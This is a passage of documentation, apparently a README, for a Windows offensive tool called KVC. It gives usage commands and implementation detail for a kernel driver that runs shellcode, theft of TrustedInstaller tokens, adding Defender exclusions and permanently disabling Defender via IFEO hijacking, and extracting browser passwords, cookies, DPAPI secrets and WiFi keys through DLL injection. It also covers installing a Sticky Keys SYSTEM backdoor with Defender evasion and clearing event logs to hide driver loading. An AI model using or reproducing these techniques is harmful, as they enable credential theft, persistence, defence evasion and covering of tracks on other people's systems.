| `IOCTL_CALL_KERNEL` | Call any kernel-space address as a 4-argument x64 function | Address validated for canonical kernel range and current mapping (`MmIsAddressValid`). Arguments mapped to RCX/RDX/R8/R9; 64-bit return value written back to caller. Executes at `PASSIVE_LEVEL`. `__try/__except` catches hardware faults on the call site only — IRQL violations, deadlocks, and state corruption inside the callee remain the caller's responsibility. Typical use: invoke exported kernel routines by address (PDB-resolved or via `MmGetSystemRoutineAddress`), or execute shellcode in a `POOL_FLAG_NON_PAGED_EXECUTE` buffer previously obtained via `IOCTL_ALLOC_KERNEL` |

### Limits

| Parameter | Value |
|---|---|
| `MAX_TRANSFER_SIZE` | 1 MB |
| `MAX_BULK_OPERATIONS` | 64 |
| `MAX_PHYSMEM_SIZE` | 256 KB |
| `MAX_PROCESS_NAME` | 16 bytes (15 chars + NUL) |
| `IOCTL_ALLOC_KERNEL` max | 16 MB |
| Protection / token offset range | 1 – 0x2000 |

### Current usage within KVC

Only two IOCTLs are exposed through the current KVC command surface:

- **`IOCTL_KILL_PROCESS_WESMAR`** — used by `kvc kill` (PP/PPL primary path). Note: as of [02.05.2026], `kvc secengine disable` and `kvc kill` PP/PPL fallback use `kvckiller.sys` (IOCTL `0x22201C`) instead of kvcstrm for process termination.
- **`IOCTL_SET_PROTECTION`** — available via `kvc.sys`; kvcstrm path not yet wired

`IOCTL_KILL_BY_NAME` is implemented in the driver and wrapped in `KvcStrmClient::KillProcessesByName()`, but not yet surfaced as a `kvc` command.

The remaining primitives — physical memory access, kernel pool management, write-protect bypass, token elevation, cross-process R/W — are implemented and functional but not yet surfaced as KVC commands. They represent the planned foundation for future capabilities.

### Deployment

`kvcstrm.sys` is embedded in the same steganographic icon resource as `kvc.sys` and `kvc_smss.exe`. It is extracted at runtime and deployed to the DriverStore during `kvc setup`. Loading uses the same DSE bypass path as all other KVC drivers — no permanent service registration, no SCM registry residue after use.

-----

## 9\. TrustedInstaller Integration

`NT SERVICE\TrustedInstaller` is a built-in Windows account with privileges exceeding even those of a standard Administrator. It owns critical system files and registry keys and can bypass many security restrictions. KVC integrates with TrustedInstaller to perform highly privileged operations.

### TrustedInstaller Privileges

  * Owns essential system files (`C:\Windows\System32`, etc.) and registry hives (`HKLM\SECURITY`, `HKLM\SAM`).
  * Can modify Windows Defender settings, including exclusions and service state.
  * Bypasses most Access Control List (ACL) restrictions.

### How KVC Acquires TrustedInstaller Privileges

KVC uses a multi-step process to obtain and utilize a TrustedInstaller token:

```mermaid
sequenceDiagram
    participant KVC_EXE as kvc.exe
    participant OS as Windows OS (Security Subsystem)
    participant Winlogon as winlogon.exe (Running as SYSTEM)
    participant SCM as Service Control Manager (Running as SYSTEM)
    participant TI_SVC as TrustedInstaller Service (Runs as TrustedInstaller)

    KVC_EXE->>KVC_EXE: Enable SeDebugPrivilege, SeImpersonatePrivilege 
    KVC_EXE->>Winlogon: OpenProcess(PROCESS_QUERY_INFORMATION)
    KVC_EXE->>Winlogon: OpenProcessToken(TOKEN_DUPLICATE)
    Winlogon-->>KVC_EXE: Return SYSTEM Token Handle
    KVC_EXE->>KVC_EXE: DuplicateTokenEx (Primary -> Impersonation)
    KVC_EXE->>OS: ImpersonateLoggedOnUser(SYSTEM Impersonation Token) 
    Note over KVC_EXE: KVC Thread now running as SYSTEM

    KVC_EXE->>SCM: OpenSCManager(SC_MANAGER_ALL_ACCESS)
    KVC_EXE->>SCM: OpenService("TrustedInstaller", SERVICE_START)
    KVC_EXE->>SCM: StartService("TrustedInstaller") 
    SCM->>TI_SVC: Start Service
    TI_SVC-->>SCM: Service Started (Process ID: TI_PID)
    SCM-->>KVC_EXE: Return TI_PID 
    Note over KVC_EXE: TrustedInstaller process is now running

    KVC_EXE->>TI_SVC: OpenProcess(TI_PID, PROCESS_QUERY_INFORMATION) 
    KVC_EXE->>TI_SVC: OpenProcessToken(TOKEN_DUPLICATE | ...) 
    TI_SVC-->>KVC_EXE: Return TrustedInstaller Token Handle
    KVC_EXE->>KVC_EXE: DuplicateTokenEx (Primary Token) 
    Note over KVC_EXE: Now holds a usable TrustedInstaller Primary Token
    KVC_EXE->>KVC_EXE: Cache Token 

    KVC_EXE->>OS: RevertToSelf() 
    Note over KVC_EXE: KVC Thread returns to original context (Administrator)

    Note over KVC_EXE: When needed...
    KVC_EXE->>OS: ImpersonateLoggedOnUser(Cached TI Token) 
    KVC_EXE->>OS: Perform Privileged Operation (e.g., CreateFileW, RegSetValueExW)
    KVC_EXE->>OS: RevertToSelf() 
    %% OR for running commands
    % KVC_EXE->>OS: CreateProcessWithTokenW(Cached TI Token, command) 
```

**Explanation:**

1.  KVC enables `SeDebugPrivilege` and `SeImpersonatePrivilege` for its own process.
2.  It finds a process running as `SYSTEM` (typically `winlogon.exe`) , opens its token, duplicates it for impersonation, and calls `ImpersonateLoggedOnUser`. The KVC thread now temporarily operates as `SYSTEM`.
3.  Running as `SYSTEM`, KVC uses the Service Control Manager (SCM) to ensure the `TrustedInstaller` service is started. It gets the Process ID (PID) of the running service.
4.  KVC opens the `TrustedInstaller` process  and its primary token.
5.  It duplicates the `TrustedInstaller` primary token.
6.  KVC enables *all* possible privileges on this duplicated token for maximum capability .
7.  KVC reverts its thread context back to the original user (Administrator).
8.  The duplicated, fully privileged `TrustedInstaller` token is cached.
9.  When a command requires TrustedInstaller privileges (e.g., `kvc trusted ...`, `kvc add-exclusion ...`, writing protected files/registry keys), KVC either:
      * Temporarily impersonates using the cached token (`ImpersonateLoggedOnUser`), performs the operation (like `CreateFileW`, `RegSetValueExW`), and reverts (`RevertToSelf`).
      * Launches a new process directly using the cached token via `CreateProcessWithTokenW` (for the `kvc trusted <command>` functionality).

### TrustedInstaller Commands

  * **Run Command as TrustedInstaller:**

    ```powershell
    kvc.exe trusted <command> [arguments...]
    ```

    Executes the specified `<command>` with full TrustedInstaller privileges . Supports executable paths and arguments. Also resolves `.lnk` shortcut files to their target executables.

  * **Add Context Menu:**

    ```powershell
    kvc.exe install-context
    ```

    Adds a "Run as TrustedInstaller" entry to the right-click context menu for `.exe` and `.lnk` files in Windows Explorer, allowing easy elevation for any application .

**Examples:**

```powershell
# Open an elevated command prompt as TrustedInstaller
kvc.exe trusted cmd.exe

# Add a Defender exclusion natively (WMI, no PowerShell)
kvc.exe add-exclusion Paths C:\Tools

# Run a specific application with TI privileges
kvc.exe trusted "C:\Program Files\MyTool\tool.exe" --admin-mode

# Run a command from a shortcut file as TrustedInstaller
kvc.exe trusted "C:\Users\Admin\Desktop\My Shortcut.lnk"
```

-----

## 10\. Windows Defender Exclusion Management

Windows Defender often interferes with security research tools. KVC allows managing Defender's exclusions using TrustedInstaller privileges, bypassing potential Tamper Protection restrictions.

### How it Works

KVC communicates directly with Windows Defender via the `MSFT_MpPreference` WMI class in the `ROOT\\Microsoft\\Windows\\Defender` namespace — no PowerShell spawning. The `WmiDefenderClient` class manages a single `IWbemServices` session and calls the `Add` / `Remove` static methods with a `SAFEARRAY<BSTR>` parameter, mirroring exactly what `Add-MpPreference` / `Remove-MpPreference` do internally.

Before every write, KVC queries the live singleton `MSFT_MpPreference` instance and reads the current exclusion array. If the value is already present (case-insensitive comparison), the write is skipped entirely — no redundant WMI round-trips. Administrator privileges are sufficient; TrustedInstaller is not required for this operation.

### Exclusion Types

KVC supports managing four types of exclusions :

  * **Paths:** Exclude specific files or entire folders (e.g., `C:\Tools\mytool.exe`, `D:\ResearchData\`).
  * **Processes:** Exclude by process name (e.g., `mytool.exe`, `cmd.exe`). KVC automatically extracts the filename if a full path is provided.
  * **Extensions:** Exclude all files with a specific extension (e.g., `.log`, `.tmp`, `.exe`). KVC automatically adds the leading dot if missing.
  * **IpAddresses:** Exclude specific IP addresses or CIDR ranges from network inspection (e.g., `192.168.1.100`, `10.0.0.0/24`).

### Exclusion Commands

  * **Add Exclusion:**

    ```powershell
    # Legacy Syntax (Adds specified path/process)
    kvc.exe add-exclusion [path_or_process_name]

    # New Syntax (Specify Type)
    kvc.exe add-exclusion Paths <file_or_folder_path>
    kvc.exe add-exclusion Processes <process_name.exe>
    kvc.exe add-exclusion Extensions <.ext>
    kvc.exe add-exclusion IpAddresses <IP_or_CIDR>
    ```

    Adds an exclusion to Windows Defender .

      * Legacy syntax without a type assumes `Paths` unless the argument looks like an executable name (ends in `.exe`), in which case it assumes `Processes`.
      * New syntax requires specifying the type (`Paths`, `Processes`, `Extensions`, `IpAddresses`).

  * **Remove Exclusion:**

    ```powershell
    # Legacy Syntax (Removes specified path/process)
    kvc.exe remove-exclusion [path_or_process_name]

    # New Syntax (Specify Type)
    kvc.exe remove-exclusion Paths <file_or_folder_path>
    kvc.exe remove-exclusion Processes <process_name.exe>
    kvc.exe remove-exclusion Extensions <.ext>
    kvc.exe remove-exclusion IpAddresses <IP_or_CIDR>
    ```

    Removes a previously added exclusion . Syntax mirrors the `add-exclusion` command.

**Examples:**

```powershell
# Exclude a specific tool
kvc.exe add-exclusion C:\Tools\research_tool.exe

# Exclude an entire folder
kvc.exe add-exclusion Paths D:\TempData

# Exclude cmd.exe by process name
kvc.exe add-exclusion Processes cmd.exe

# Exclude all .tmp files
kvc.exe add-exclusion Extensions .tmp

# Exclude a specific IP
kvc.exe add-exclusion IpAddresses 192.168.0.50

# Remove the cmd.exe exclusion
kvc.exe remove-exclusion Processes cmd.exe
```

**Note:** Changes might take a moment to be reflected in the Windows Security interface. These operations require KVC to successfully obtain TrustedInstaller privileges. If Defender is completely disabled or not installed, the commands might report success without actually doing anything.


-----

## 11\. Security Engine Management (Windows Defender)

Beyond managing exclusions, KVC can block or restore the core Windows Defender engine (`MsMpEng.exe`) at the Windows loader level — before any Defender code runs — using an **Image File Execution Options (IFEO) intercept**. The technique bypasses standard UI, Tamper Protection, and the DACL restrictions on IFEO registry keys.

### How It Works: IFEO Loader Intercept

The Windows loader checks `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>` before launching any process. If a `Debugger` value is present, the loader substitutes it as the actual binary to run, passing the original executable path as an argument. Setting `Debugger=systray.exe` on `MsMpEng.exe` causes `systray.exe` to be launched instead — it silently ignores the unexpected argument and exits. The Defender engine never gets a chance to initialise.

**Why direct registry write fails:** The DACL on the IFEO subtree denies writes to standard Administrators. KVC uses the same offline hive cycle applied elsewhere for protected keys:

1. `RegSaveKeyEx` — snapshot the entire IFEO subtree to `%TEMP%\Ifeo.hiv`
2. `RegLoadKey(HKLM, "TempIFEO", "Ifeo.hiv")` — mount as a temporary hive
3. Create/delete `HKLM\TempIFEO\MsMpEng.exe\Debugger` in the mounted copy
4. `RegUnLoadKey(HKLM, "TempIFEO")` — flush and unmount
5. `RegRestoreKey(HKLM\IFEO, "Ifeo.hiv", REG_FORCE_RESTORE)` — atomic swap back to live registry

Only `SE_BACKUP_NAME` + `SE_RESTORE_NAME` are required — no TrustedInstaller token needed for this operation.

```mermaid
graph TD
    subgraph KVCOp["KVC: secengine disable"]
        A["RegSaveKeyEx — IFEO subtree → Ifeo.hiv"] --> B["RegLoadKey → HKLM\\TempIFEO"];
        B --> C["Create TempIFEO\\MsMpEng.exe + SecurityHealthSystray.exe + SecurityHealthService.exe → Debugger = systray.exe"];
        C --> D["RegUnLoadKey TempIFEO"];
        D --> E["RegRestoreKey REG_FORCE_RESTORE → live IFEO"];
        E --> F["Create wsftprm service → StartService → kvckiller.sys (digitally signed, no DSE bypass)"];
        F --> G["IOCTL 0x22201C: kill MsMpEng.exe + SecurityHealthSystray.exe"];
        G --> H["ControlService(STOP): SecurityHealthService"];
        H --> I["Stop + DeleteService wsftprm"];
        I --> J["Engine dead immediately — IFEO block persists across every restart"];
    end
    subgraph AfterBoot["On next boot (IFEO block persists)"]
        AB1["Windows loader reads IFEO\\MsMpEng.exe"] --> AB2{"Debugger present?"};
        AB2 -- yes --> AB3["Launch systray.exe — MsMpEng never runs"];
        AB2 -- no  --> AB4["MsMpEng.exe launches normally"];
    end

    subgraph KVCEnable["KVC: secengine enable"]
        EN1["Same offline hive cycle — delete Debugger value"] --> EN2["RegRestoreKey → live IFEO"];
        EN2 --> EN3["StartService(WinDefend) + SecurityHealthService via SCM"];
        EN3 --> EN4["MsMpEng.exe launches immediately — no restart needed"];
    end
```

**No restart asymmetry.** Both `disable` and `enable` take effect immediately — no reboot required on any system. `kvckiller.sys` carries a valid digital signature and loads without DSE bypass, without HVCI prerequisites. The IFEO block written by `disable` is permanent: it survives every restart, `sfc /scannow`, and Defender update until `kvc secengine enable` removes it. The `--restart` flag has been removed.

### Security Engine Commands

  * **Check Status:**

    ```powershell
    kvc secengine status
    ```

    Reports three independent dimensions:
    - **[IFEO]** — whether `Debugger` is set on `MsMpEng.exe` (and its current value)
    - **[SVC]** — whether the `WinDefend` service is in `SERVICE_RUNNING` state
    - **[PROC]** — whether `MsMpEng.exe` is present in the process snapshot
    - **[SUM]** — derived summary: `ACTIVE` / `IFEO BLOCKED` / `INACTIVE` / `NOT INSTALLED`

    This correctly handles systems where Defender has been fully removed (no WinDefend service), where another AV product is active, or where the engine is stopped for unrelated reasons.

  * **Disable Security Engine:**

    ```powershell
    kvc secengine disable
    ```

    Sets `IFEO\MsMpEng.exe\Debugger = systray.exe` (and best-effort blocks on `SecurityHealthSystray.exe` + `SecurityHealthService.exe`) via offline hive edit. Immediately after, KVC starts a `kvckiller` (`wsftprm`) session — digitally signed, no DSE bypass needed — kills `MsMpEng.exe` and `SecurityHealthSystray.exe` via IOCTL `0x22201C`, stops `SecurityHealthService` via SCM, then removes the service. The engine is dead within seconds. The IFEO block is permanent — **no restart required**, survives every reboot and `sfc /scannow` until `kvc secengine enable` removes it.

  * **Enable Security Engine:**

    ```powershell
    kvc secengine enable
    ```

    Removes the `Debugger` value (and the `MsMpEng.exe` IFEO key if it becomes empty), then calls `StartService(WinDefend)` via SCM. `MsMpEng.exe` launches within seconds — **no restart needed**.

**Warning:** Disabling the core security engine significantly reduces system protection. Use this feature responsibly and only in controlled research environments.

### Comparison: kvc secengine disable vs KvcKiller

`kvc secengine disable` kills the running engine via `kvckiller.sys` (built-in, digitally signed, no DSE bypass required) immediately after writing the IFEO block. The block is permanent.

**[KvcKiller](https://github.com/wesmar/kvcKiller/)** is a standalone tool using the same `wsftprm` driver independently. Useful in environments where KVC itself is not deployed.

| | kvc secengine disable | KvcKiller |
|---|---|---|
| Kills running engine | **yes** (kvckiller, digitally signed) | yes (wsftprm) |
| IFEO block (prevents restart) | yes — permanent | yes |
| Restart required | **never** | no |
| Requires DSE bypass | **no** (kvckiller is signed) | no |
| Separate download needed | no (built-in) | yes |

-----

## 12\. Browser Credential Extraction

Modern web browsers store sensitive user data, including saved passwords, cookies, and autofill information. Accessing this data is challenging due to encryption (AES-GCM), integration with Windows Data Protection API (DPAPI), and file locking mechanisms. KVC provides methods to overcome these hurdles, primarily through its auxiliary tool `kvc_pass.exe`.

### Challenges in Credential Extraction

  * **Encryption:** Passwords are encrypted using AES-GCM. The encryption key is derived from a master key specific to the browser installation or user profile.
  * **Master Key Protection:** The master key itself is encrypted using Windows DPAPI, tying it to the user's login credentials or the machine context. Decrypting it requires specific system privileges and access to LSA secrets.
  * **File Locking:** Browser databases (like `Login Data`) are often locked while the browser is running, preventing direct access.

### kvc.dat and kvcforensic.dat: Optional Auxiliary Modules

`kvc_pass.exe` and `kvc_crypt.dll` are distributed together as a single encrypted file called `kvc.dat`. This file is deployed to `C:\Windows\System32` automatically by `kvc setup` or the one-command `irm` installer. At runtime, `kvc.exe` splits `kvc.dat` back into its two components using `ControllerBinaryManager::LoadAndSplitCombinedBinaries()` and writes them to System32 if they are not already present.

When `kvc_pass.exe` is found in System32 (or the current directory), full COM-based extraction is used. When it is absent, `kvc.exe` falls back to a built-in DPAPI method that covers Edge passwords only. If `kvc.dat` is missing entirely, KVC prompts to download it from GitHub automatically.

`kvcforensic.dat` is a separate optional module that enables LSASS minidump credential extraction via `kvc analyze`. It embeds `KvcForensic.exe` (the analysis engine) and `KvcForensic.json` (LSA structure offset templates), XOR-encrypted with the standard KVC key. At runtime, both files are extracted to `%TEMP%\KvcForensic\`, executed with inherited console handles, then cleaned up. Deployed by `kvc setup` if present in CWD; downloaded on demand if missing when `kvc analyze` is called.

### KVC Extraction Strategies

KVC uses two approaches depending on whether `kvc.dat` (and thus `kvc_pass.exe`) has been deployed. For LSASS dump analysis, see `kvc analyze` which uses `kvcforensic.dat` as a separate module.

1.  **COM Elevation via `kvc_pass.exe` + `kvc_crypt.dll` (Chrome, Edge, Brave — Full Extraction):**

      * `kvc.exe` locates `kvc_pass.exe` in System32 or the current directory and launches it with the browser type, output path, and (for Edge) a DPAPI-decrypted fallback key passed via a named pipe.
      * `kvc_pass.exe` resolves the target browser's process, kills only the browser's **network-service subprocess** (which holds SQLite file locks), and injects `kvc_crypt.dll` reflectively into the browser process. The browser itself keeps running and reconnects automatically after the network service restarts — no forced close required.
      * Once injected, `kvc_crypt.dll` contacts the browser's COM elevation service to decrypt the App-Bound Encrypted (APPB) master key:
          - **Chrome / Brave**: instantiates `IOriginalBaseElevator`
          - **Edge**: instantiates `IEdgeElevatorFinal` (CLSID `{1FCBE96C-1697-43AF-9140-2897C7C69767}`)
      * For Edge, a second network-service kill is performed by the orchestrator immediately after `kvc_crypt.dll` receives its configuration. This compensates for Edge restarting its network service faster than Chrome (~1–2 s vs ~3–5 s), ensuring the Cookies database remains unlocked when the DLL opens it.
      * Using the decrypted master key, `kvc_crypt.dll` opens browser SQLite databases with the `nolock` flag, decrypts `v10`/`v20` AES-GCM blobs, and streams results back to `kvc_pass.exe` via the named pipe. Output is written as JSON, HTML, and TXT files in the specified output directory.
      * `kvc.exe` then reads back the JSON results (`MergeKvcPassResults`) and merges them into the HTML report generated by `kvc export secrets`.

2.  **Built-in DPAPI Decryption (Edge Fallback, WiFi — No `kvc.dat` Required):**

      * When `kvc_pass.exe` is unavailable, or specifically for WiFi key extraction, `kvc.exe` uses its `TrustedInstallerIntegrator` to access the DPAPI system secrets (`DPAPI_SYSTEM`, `NL$KM`) stored in the protected `HKLM\SECURITY` registry hive.
      * For Edge passwords: KVC reads Edge's `Local State` file to get the DPAPI-encrypted browser master key, decrypts it with `CryptUnprotectData`, copies the `Login Data` database, and decrypts `v10`/`v20` blobs using the built-in SQLite functions.
      * This fallback method covers Edge passwords only and produces HTML/TXT reports. Cookies and payment data require `kvc_pass.exe`.

### Browser Password Commands

  * **Extract Browser Passwords:**
    ```powershell
    kvc.exe browser-passwords [browser_flags...] [output_options...]
    kvc.exe bp [browser_flags...] [output_options...] # Alias
    ```
    Extracts credentials from specified browsers. **A browser flag is required** — running `kvc bp` without a browser flag prints usage and exits. Requires `kvc_pass.exe` (deployed via `kvc setup` or the `irm` installer as part of `kvc.dat`) for Chrome, Brave, and full Edge extraction (passwords, cookies, payments). If `kvc_pass.exe` is absent, the command falls back to the built-in DPAPI method for Edge passwords only — no cookies, no Chrome/Brave support.
      * `--chrome`: Target Google Chrome (requires `kvc_pass.exe`).
      * `--edge`: Target Microsoft Edge. Uses `kvc_pass.exe` if available for full extraction, otherwise uses built-in DPAPI fallback .
      * `--brave`: Target Brave Browser (requires `kvc_pass.exe`).
      * `--all`: Target all supported browsers (requires `kvc_pass.exe`) .
      * `--output <path>` or `-o <path>`: Specify the directory to save report files (HTML, TXT, JSON). Defaults to the current directory.

**Examples:**

```powershell
# Extract Chrome passwords (requires kvc_pass.exe) to current dir
kvc.exe bp

# Extract Edge passwords (uses kvc_pass if present, else DPAPI fallback) to C:\reports
kvc.exe bp --edge --output C:\reports

# Extract all browser passwords (requires kvc_pass.exe) to Downloads
kvc.exe bp --all -o "%USERPROFILE%\Downloads"
```

-----

## 13\. DPAPI Secrets Extraction (WiFi, Master Keys)

Beyond browser-specific data, KVC can extract other system secrets protected by DPAPI, including saved WiFi network keys and the DPAPI master keys themselves. This process relies heavily on TrustedInstaller privileges.

### How it Works

The `export secrets` command orchestrates several steps:

1.  **Acquire TrustedInstaller:** Gains elevated privileges necessary to access protected registry keys and run system commands .
2.  **Extract LSA Secrets (DPAPI Master Keys):**
      * Uses the TrustedInstaller context to execute `reg export` commands targeting the protected keys under `HKLM\SECURITY\Policy\Secrets`, specifically `DPAPI_SYSTEM`, `NL$KM`, and potentially others . These keys are crucial for machine-level DPAPI decryption.
      * Exports are saved to temporary `.reg` files in the system temp directory.
      * KVC parses these `.reg` files to extract the raw, encrypted key data .
      * It attempts to decrypt these keys using `CryptUnprotectData` for display and potential later use, storing both raw and decrypted versions .
3.  **Extract WiFi Credentials:**
      * Executes the `netsh wlan show profiles` command to list saved WiFi network names (SSIDs) .
      * For each profile, executes `netsh wlan show profile name="<SSID>" key=clear` to retrieve the plaintext password .
      * Parses the command output to extract the SSID and password .
4.  **Extract Browser Passwords:**
      * If `kvc_pass.exe` is available in System32 or the current directory, KVC launches it for both Chrome and Edge to perform full COM-based extraction (passwords, cookies, payments) and merges the JSON results back into the report via `MergeKvcPassResults`.
      * If `kvc_pass.exe` is absent, KVC falls back to the built-in DPAPI method for Edge passwords only (described in Section 12).
5.  **Generate Reports:** Consolidates all extracted master keys, WiFi passwords, and browser credentials into comprehensive HTML and TXT reports saved to the specified output directory.
6.  **Cleanup:** Removes temporary files.

### DPAPI Secrets Command

  * **Export DPAPI Secrets:**
    ```powershell
    kvc.exe export secrets [output_path]
    ```
    Performs the full DPAPI secret extraction process described above . Requires Administrator privileges (uses TrustedInstaller internally).
      * `[output_path]`: Optional directory to save the HTML and TXT report files. Defaults to a timestamped folder within the user's `Downloads` directory (e.g., `Downloads\Secrets_DD.MM.YYYY`).

**Example:**

```powershell
# Export secrets to the default Downloads\Secrets_... folder
kvc.exe export secrets

# Export secrets to a custom directory C:\kvc_secrets
kvc.exe export secrets C:\kvc_secrets
```

The generated reports provide a summary and detailed tables for the extracted DPAPI master keys (raw and processed hex), WiFi credentials (SSID and password), and browser credentials (passwords, cookies, payments) extracted via `kvc_pass.exe` when available, or Edge-only passwords via the built-in DPAPI fallback when it is not.

-----

## 14\. Sticky Keys Backdoor

KVC includes functionality to install a persistent backdoor using the "Sticky Keys" accessibility feature (`sethc.exe`). This technique leverages Image File Execution Options (IFEO) in the registry to replace the execution of `sethc.exe` with a command prompt (`cmd.exe`), granting SYSTEM-level privileges from the Windows login screen without needing to log in.

### How it Works: IFEO Hijacking
1.  **IFEO Registry Key:** Windows allows developers to specify a "debugger" for an executable via the registry under `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable_name.exe>`. When the OS attempts to launch the executable, it launches the specified debugger instead, passing the original executable's path as an argument.
2.  **Hijacking `sethc.exe`:** KVC creates the key `...\Image File Execution Options\sethc.exe` and sets the `Debugger` value to `cmd.exe`.
3.  **Triggering:** The Sticky Keys feature is typically invoked by pressing the Shift key five times rapidly. When triggered from the login screen (or lock screen), the OS tries to launch `sethc.exe` under the `SYSTEM` account.
4.  **Redirection:** Due to the IFEO registry key, the OS launches `cmd.exe` instead of `sethc.exe`, inheriting the `SYSTEM` privileges.
5.  **Defender Evasion:** To prevent Windows Defender from detecting the potentially malicious launch of `cmd.exe` in this context, KVC proactively adds `cmd.exe` to the Defender process exclusions list using TrustedInstaller privileges *before* setting the IFEO key.

```mermaid
graph TD
    A[User presses Shift 5x at Login Screen] --> B[Windows OS];
    B --> C[Attempt to launch sethc.exe as SYSTEM];
    C --> D{Check IFEO Registry Key for sethc.exe};
    D -->|Debugger value exists| E[Debugger = cmd.exe];
    E --> F[Launch cmd.exe instead as SYSTEM];
    F --> G[SYSTEM-level Command Prompt Appears];
    D -->|Debugger value absent| H[Launch sethc.exe normally];
```

### Sticky Keys Commands

  * **Install Backdoor:**

    ```powershell
    kvc.exe shift
    ```

    Creates the necessary IFEO registry key for `sethc.exe`, sets the `Debugger` value to `cmd.exe`, and adds `cmd.exe` to Windows Defender process exclusions. Requires Administrator privileges (uses TrustedInstaller internally) .

  * **Remove Backdoor:**

    ```powershell
    kvc.exe unshift
    ```

    Deletes the `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe` registry key and attempts to remove the `cmd.exe` process exclusion from Windows Defender . Requires Administrator privileges.

**Usage:** After running `kvc shift`, go to the Windows login or lock screen and press the Left Shift key five times consecutively. A command prompt window running with `NT AUTHORITY\SYSTEM` privileges should appear. Use `kvc unshift` to remove the backdoor and clean up the associated registry key and Defender exclusion.

-----

## 15\. Event Log Clearing

`kvc evtclear` clears the four primary Windows event logs in one operation: `Application`, `Security`, `Setup`, and `System`. Each log is opened via `OpenEventLogW` and cleared with `ClearEventLogW(hLog, nullptr)` — the `nullptr` backup path is the fastest method (no backup file written). Requires Administrator privileges; the command checks elevation before attempting.

```powershell
kvc.exe evtclear
```

Output reports per-log success/failure and a summary `N/4 logs cleared`. Useful post-operation to erase Event ID 7045 (driver service install) entries generated during atomic kernel driver loading.

-----

## 16\. Desktop Watermark Management

Windows sometimes displays desktop watermarks (e.g., "Evaluation copy," "Test Mode"). KVC provides a method to remove or restore these watermarks by hijacking a specific COM component registration used by the Windows shell (`explorer.exe`).

### How it Works: CLSID Hijacking via ExplorerFrame DLL

1.  **Target Component:** The Windows shell uses various COM components for its functionality. KVC targets a specific CLSID (Class Identifier) `{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}` related to shell frame rendering. The default implementation is located in `ExplorerFrame.dll`.
2.  **Registry Hijack:** The registration for this CLSID is stored under `HKEY_CLASSES_ROOT\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32`. The default value points to the path of the implementing DLL (`%SystemRoot%\system32\ExplorerFrame.dll`).
3.  **Modified DLL:** KVC contains an embedded, modified version of a DLL (likely derived from `ExplorerFrame.dll` or a similar shell component) designed *not* to render the watermark. This modified DLL is named `ExplorerFrame<U+200B>.dll`, incorporating a Zero Width Space character (U+200B) in its name. This naming trick helps bypass potential System File Protection mechanisms that might otherwise prevent overwriting or placing similarly named files in `System32`.
4.  **Extraction and Deployment:**
      * `kvc.exe` extracts this modified DLL from its resources using the same steganographic process: loading the icon resource, skipping the icon header, XOR-decrypting the CAB archive, decompressing in-memory, and splitting the `kvc.evtx` container into `kvc.sys`, `kvckiller.sys`, `kvcblocker.sys`, `kvcstrm.sys`, `kvc_smss.exe`, and `ExplorerFrame​.dll` by positional MZ order.
      * Using TrustedInstaller privileges, KVC writes the extracted `ExplorerFrame<U+200B>.dll` to the `C:\Windows\System32` directory.
5.  **Registry Modification:** KVC uses TrustedInstaller privileges to change the default value under the target CLSID's `InProcServer32` key from the original `ExplorerFrame.dll` path to the path of the modified DLL: `%SystemRoot%\system32\ExplorerFrame<U+200B>.dll`.
6.  **Applying Changes:** KVC forcefully terminates all running `explorer.exe` processes and immediately restarts `explorer.exe` . The newly started Explorer process reads the modified registry key and loads the hijacked `ExplorerFrame<U+200B>.dll` instead of the original, resulting in the watermark no longer being displayed.
7.  **Restoration:** The `restore` command reverses the process: it sets the registry value back to the original `ExplorerFrame.dll` path , restarts `explorer.exe` to unload the hijacked DLL , and then deletes the `ExplorerFrame<U+200B>.dll` file from `System32` using TrustedInstaller .


```mermaid
graph TD
    subgraph RemoveWM["Remove Watermark"]
        A[kvc watermark remove] --> B[Extract ExplorerFrame.dll];
        B --> C[Write DLL to System32 as TI];
        C --> D[Modify HKCR CLSID InProcServer32 to Hijacked DLL as TI];
        D --> E[Restart explorer.exe];
        E --> F[Explorer loads Hijacked DLL - Watermark GONE];
    end
    subgraph RestoreWM["Restore Watermark"]
        G[kvc watermark restore] --> H[Modify HKCR CLSID InProcServer32 to Original DLL as TI];
        H --> I[Restart explorer.exe];
        I --> J[Explorer loads Original DLL - Watermark VISIBLE];
        I --> K[Delete Hijacked DLL from System32 as TI];
    end
```

### Watermark Management Commands

  * **Remove Watermark:**

    ```powershell
    kvc.exe watermark remove
    kvc.exe wm remove # Alias
    ```

    Deploys the modified DLL, hijacks the registry entry, and restarts Explorer to remove the desktop watermark.

  * **Restore Watermark:**

    ```powershell
    kvc.exe watermark restore
    kvc.exe wm restore # Alias
    ```

    Restores the original registry entry, restarts Explorer, and deletes the modified DLL to bring back the default watermark.

  * **Check Status:**

    ```powershell
    kvc.exe watermark status
    kvc.exe wm status # Alias
    ```

    Reads the relevant registry key to determine if the watermark is currently configured as "REMOVED" (hijacked), "ACTIVE" (original), or "UNKNOWN" (unexpected value) .

-----

## 17\. System Registry Management

KVC provides robust tools for backing up, restoring, and defragmenting critical Windows registry hives. These operations leverage TrustedInstaller privileges for unrestricted access to hives that are normally locked by the operating system.

### Capabilities

  * **Backup:** Creates copies of all 8 critical registry hives: `SYSTEM`, `SOFTWARE`, `SAM`, `SECURITY`, `DEFAULT`, `BCD` (boot configuration — physical path resolved dynamically from the live hive list), `NTUSER.DAT` and `UsrClass.dat` (current user, SID resolved at runtime).
  * **Restore:** Replaces live registry hives with files from a backup. This is a destructive operation requiring a system restart.
  * **Defragment:** Reduces the physical size and fragmentation of registry hive files by exporting (saving) them using `REG_LATEST_FORMAT`, which implicitly compacts the data, and then scheduling a restore of these compacted hives.

### How it Works

1.  **Privilege Elevation:** All registry operations begin by acquiring a TrustedInstaller token to bypass standard permissions and file locks .
2.  **Backup (`kvc registry backup [path]`):**
      * KVC iterates through a predefined list of critical hives (`SYSTEM`, `SOFTWARE`, `SAM`, `SECURITY`, `DEFAULT`, `BCD`, user `NTUSER.DAT`, user `UsrClass.dat`) .
      * For each hive, it opens the corresponding registry key (e.g., `HKLM\SYSTEM`) with backup privileges.
      * It calls the `RegSaveKeyExW` API with the `REG_LATEST_FORMAT` flag. This API saves the live hive data directly to a file (e.g., `SYSTEM`), automatically handling locked keys and compacting the data during the save process.
